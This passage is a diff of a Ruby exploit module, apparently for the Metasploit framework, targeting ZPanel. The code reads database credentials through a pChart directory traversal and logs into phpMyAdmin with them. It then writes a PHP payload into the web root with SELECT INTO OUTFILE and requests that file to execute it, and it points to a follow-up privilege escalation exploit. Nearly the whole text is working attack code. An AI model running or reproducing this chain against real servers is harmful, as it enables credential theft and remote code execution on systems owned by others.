<\/span>= <\/span>')[A-Za-z0-9]+/) - - passwd = res.body.scan(/(?<=\$pass <\/span>= <\/span>')[A-Za-z0-9@#\$\%\^\&\+=_]+/) - - dbname = res.body.scan(/(?<=\$dbname <\/span>= <\/span>')[A-Za-z0-9_]+/) - - return uname, passwd, dbname - end - - def grab_sess_and_token(uri) - print_status("Attempting to get PHPSESSIONID") - res = send_request_cgi({ - 'method'=>'GET', - 'uri'=>normalize_uri("#{uri}"), - 'version'=>'1.1' - }) - - unless res - fail_with(Failure::Unknown, 'Connection timed out while attempting to get PHPSESSID') - end - cookies = res.get_cookies - sid = cookies.scan(/(PHPSESSID=\w+);*/).flatten[0] || '' - - if sid.length > 0 - print_good("PHPSESSID identified!") - print_good("PHPSESSID = #{sid.split("=")[1]}") - - print_status("Attempting to get CSRF token") - res = send_request_cgi({ - 'method'=>'GET', - 'uri'=>normalize_uri("#{uri}", "etc", "apps", "phpmyadmin", "index.php"), - 'version'=>'1.1', - 'Cookie'=>"#{sid}" - }) - - unless res - fail_with(Failure::Unknown, 'Connection timed out while attempting to get CSRF token') - end - token = "#{res.body.to_s.scan(/(?<=name\="token" value\=")[A-Za-z0-9]+/)}" - token = token.to_s[2..-3] - token = token[0..31] - cookies = res.get_cookies - - cookies = cookies.split("; ") - cookies = "#{cookies[-1]} #{cookies[1]}; #{cookies[2]}; #{cookies[3]}; #{sid}" - - if token.length > 0 - print_good("CSRF token identified!") - print_good("CSRF token = #{token}") - return cookies, token, sid - else - print_error("CSRF token could not be identified...") - end - else - print_error("PHPSESSID could not be identified...") - end - end - - def login_phpmyadmin(uri, uname, passwd, cookies, token, sess_id) - old_cookies = cookies - - res = send_request_cgi({ - 'method'=>'POST', - 'uri'=>normalize_uri("etc", "apps", "phpmyadmin", "index.php"), - 'cookie'=>cookies, - 'ctype'=>"application/x-www-form-urlencoded", - 'headers'=>{ - 'Referer'=>"http://#{datastore['RHOST']}/etc/apps/phpmyadmin/", - }, - 'vars_post'=>{ - 'pma_username'=>uname, - 'pma_password'=>passwd, - 'server'=>"1", - 'lang'=>"en", - 'collation_connection'=>"utf8_general_ci", - 'token'=>token - } - }) - - cookies = "#{res.get_cookies}" - - old_cookies = old_cookies.split("; ") - cookies = cookies.split("; ") - - new_cookies = "#{old_cookies[0]}; " - new_cookies << "#{old_cookies[1]}; " - new_cookies << "#{old_cookies[2]}; " - new_cookies << "#{old_cookies[3]}; " - new_cookies << "#{cookies[0]}; " - new_cookies << "#{cookies[1]} " - new_cookies << "#{sess_id}" - - token = res['Location'].to_s.scan(/(?<=token\=)[A-Za-z0-9]+/) - token = token.to_s[2..-3] - - res = send_request_cgi({ - 'method'=>'GET', - 'uri'=>normalize_uri("etc", "apps", "phpmyadmin", "index.php"), - 'Referer'=>"http://#{datastore['RHOST']}/etc/apps/phpmyadmin/", - 'cookie'=>new_cookies, - 'vars_get'=>{ - 'token'=>token - } - }) - - unless res - fail_with(Failure::Unknown, 'Connection timed out while attempting to login to phpMyAdmin') - end - - if res.code == 200 and res.body.to_s =~ /phpMyAdmin is more friendly with a/ - print_good("PHPMyAdmin login successful!") - return new_cookies, token - end - + ], self.class) end - def do_sql(cookies, token, uri) + def get_setting(res, setting_name) + n = ::Nokogiri::HTML(res.body) + spans = n.search('//code//span//span') + found_element = spans.select{ |e| /#{setting_name}/ === e.text }.first + val = found_element.next.next.text + val.scan(/['"]([[:print:]]+)['"]/).flatten.first || '' + end - fname = "#{rand_text_alpha_upper(5)}.php" - sql_stmt = "SELECT \"\" INTO OUTFILE \"/etc/zpanel/panel/#{fname}\"" + def get_user(res) + get_setting(res, 'user') + end + def get_passwd(res) + get_setting(res, 'pass') + end + + def get_dbname(res) + get_setting(res, 'dbname') + end + + def dot_dot_slash(uri) + res = send_request_cgi({ + 'method' =>'GET', + 'uri' => normalize_uri("#{uri}", 'etc', 'lib', 'pChart2', 'examples', 'index.php'), + 'vars_get' => { + 'Action' => 'View', + 'Script' => '../../../../cnf/db.php' + } + }) + + uname = get_user(res) + passwd = get_passwd(res) + dbname = get_dbname(res) + + return uname, passwd, dbname + end + + def get_token_from_form(res) + hidden_inputs = res.get_hidden_inputs + hidden_inputs.first['token'] + end + + def get_token_from_url(url) + u = URI(url) + u.query.split('&').each do |param| + param_name, param_value = param.scan(/([[:print:]]+)=([[:print:]]+)/).flatten + return param_value if param_name == 'token' + end + + '' + end + + def grab_sess_and_token(uri) + print_status('Attempting to get PHPSESSIONID') + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri("#{uri}"), + }) + + unless res + fail_with(Failure::Unknown, 'Connection timed out while attempting to get PHPSESSID') + end + + cookies = res.get_cookies + sid = cookies.scan(/(PHPSESSID=\w+);*/).flatten[0] || '' + + if sid.length > 0 + print_good('PHPSESSID identified!') + print_good("PHPSESSID = #{sid.split("=")[1]}") + + print_status('Attempting to get CSRF token') res = send_request_cgi({ - 'method'=>'POST', - 'uri'=>normalize_uri("etc", "apps", "phpmyadmin", "import.php"), - 'version'=>'1.1', - 'cookie'=>cookies, - 'ctype'=>'application/x-www-form-urlencoded; charset=UTF-8', - 'headers'=>{ - 'X-Requested-With'=>"XMLHttpRequest", - 'Referer'=>"http://#{datastore['RHOST']}/etc/apps/phpmyadmin/server_sql.php?token=#{token}" - }, - 'vars_post'=>{ - 'is_js_confirmed'=>"0", - 'token'=>token, - 'pos'=>"0", - 'goto'=>"server_sql.php", - 'message_to_show'=>"Your+SQL+query+has+been+executed+successfully", - 'prev_sql_query'=>"", - 'sql_query'=>sql_stmt, - 'sql_delimiter'=>";", - 'show_query'=>"1", - 'ajax_request'=>"true", - '_nocache'=>rand.to_s[2..19].to_i - }, + 'method' => 'GET', + 'uri' => normalize_uri("#{uri}", 'etc', 'apps', 'phpmyadmin', 'index.php'), + 'Cookie' => "#{sid}" }) unless res - fail_with(Failure::Unknown, 'Connection timed out when attempting to upload payload') + fail_with(Failure::Unknown, 'Connection timed out while attempting to get CSRF token') end - if res.body =~ /"success":true/ - print_good("'#{fname}' successfully uploaded") + token = get_token_from_form(res) + cookies = res.get_cookies - print_good("A privilege escalation exploit can be found 'exploits/linux/local/zpanel_zsudo'") - - print_status("Executing '#{fname}' on the remote host") - - res = send_request_cgi({ - 'method'=>'GET', - 'uri'=>normalize_uri("#{uri}", "#{fname}"), - 'version'=>'1.1' - }) + cookies = cookies.split('; ') + cookies = "#{cookies[-1]} #{cookies[1]}; #{cookies[2]}; #{cookies[3]}; #{sid}" + if token.length > 0 + print_good('CSRF token identified!') + print_good("CSRF token = #{token}") + return cookies, token, sid else - print_error("#{res.body.to_s}") + print_error('CSRF token could not be identified...') end + else + print_error('PHPSESSID could not be identified...') + end + end + + def login_phpmyadmin(uri, uname, passwd, cookies, token, sess_id) + old_cookies = cookies + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri('etc', 'apps', 'phpmyadmin', 'index.php'), + 'cookie' => cookies, + 'ctype' => 'application/x-www-form-urlencoded', + 'headers'=> + { + 'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/", + }, + 'vars_post' => { + 'pma_username' => uname, + 'pma_password' => passwd, + 'server' => '1', + 'lang' => 'en', + 'collation_connection' => 'utf8_general_ci', + 'token' => token + } + }) + + cookies = "#{res.get_cookies}" + + old_cookies = old_cookies.split("; ") + cookies = cookies.split("; ") + + new_cookies = "#{old_cookies[0]}; " + new_cookies << "#{old_cookies[1]}; " + new_cookies << "#{old_cookies[2]}; " + new_cookies << "#{old_cookies[3]}; " + new_cookies << "#{cookies[0]}; " + new_cookies << "#{cookies[1]} " + new_cookies << "#{sess_id}" + + token = get_token_from_url(res['Location']) + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri('etc', 'apps', 'phpmyadmin', 'index.php'), + 'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/", + 'cookie' => new_cookies, + 'vars_get' => { + 'token' => token + } + }) + + unless res + fail_with(Failure::Unknown, 'Connection timed out while attempting to login to phpMyAdmin') end - def exploit - # Checking pChart + if res.code == 200 and res.body.to_s =~ /phpMyAdmin is more friendly with a/ + print_good('PHPMyAdmin login successful!') + return new_cookies, token + end + end + + def do_sql(cookies, token, uri) + fname = "#{rand_text_alpha_upper(5)}.php" + sql_stmt = "SELECT \"\" INTO OUTFILE \"/etc/zpanel/panel/#{fname}\"" + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri('etc', 'apps', 'phpmyadmin', 'import.php'), + 'cookie' => cookies, + 'ctype' =>'application/x-www-form-urlencoded; charset=UTF-8', + 'headers' => { + 'X-Requested-With' => 'XMLHttpRequest', + 'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/server_sql.php?token=#{token}" + }, + 'vars_post' => { + 'is_js_confirmed' => '0', + 'token' => token, + 'pos' => '0', + 'goto' => 'server_sql.php', + 'message_to_show' => 'Your+SQL+query+has+been+executed+successfully', + 'prev_sql_query' => '', + 'sql_query' => sql_stmt, + 'sql_delimiter' => ';', + 'show_query' => '1', + 'ajax_request' => 'true', + '_nocache' => rand.to_s[2..19].to_i + } + }) + + unless res + fail_with(Failure::Unknown, 'Connection timed out when attempting to upload payload') + end + + if res.body =~ /"success":true/ + print_good("'#{fname}' successfully uploaded") + print_good("A privilege escalation exploit can be found 'exploits/linux/local/zpanel_zsudo'") + print_status("Executing '#{fname}' on the remote host") + res = send_request_cgi({ - 'method'=> 'GET', - 'uri'=> normalize_uri("#{datastore['URI']}", "etc", "lib", "pChart2", "examples", "index.php") + 'method'=>'GET', + 'uri'=>normalize_uri("#{uri}", "#{fname}") }) + else + print_error("#{res.body.to_s}") + end + end + + def exploit + # Checking pChart + res = send_request_cgi({ + 'method'=> 'GET', + 'uri'=> normalize_uri("#{datastore['URI']}", 'etc', 'lib', 'pChart2', 'examples', 'index.php') + }) # if pChart is vuln version - if res.body =~ /pChart 2.x/ - db_info = dot_dot_slash("#{datastore['URI']}") - db_info = db_info.flatten - uname = db_info[0] - passwd = db_info[1] - db_name = db_info[2] - + if res.body =~ /pChart 2\.x/ + uname, passwd, db_name = dot_dot_slash("#{datastore['URI']}") if uname.length > 0 && passwd.length > 0 - print_good("Directory traversal successful, Username/Password identified!") + print_good('Directory traversal successful, Username/Password identified!') print_good("Username: #{uname}") print_good("Password: #{passwd}") print_good("DB Name: #{db_name}") - cookies, token, sess_id = grab_sess_and_token("#{datastore['URI']}") - - print_status("Logging into PHPMyAdmin now") + print_status('Logging into PHPMyAdmin now') cookies, token = login_phpmyadmin("#{datastore['URI']}", uname, passwd, cookies, token, sess_id) - - print_status("Uploading malicious payload now") + print_status('Uploading malicious payload now') do_sql(cookies, token, "#{datastore['URI']}") - else - print_error("It appears that the directory traversal was unsuccessful...") + print_error('It appears that the directory traversal was unsuccessful...') end - - else - print_error("It appears that the version of pChart is not vulnerable...") + else + print_error("It appears that the version of pChart is not vulnerable...") end - end end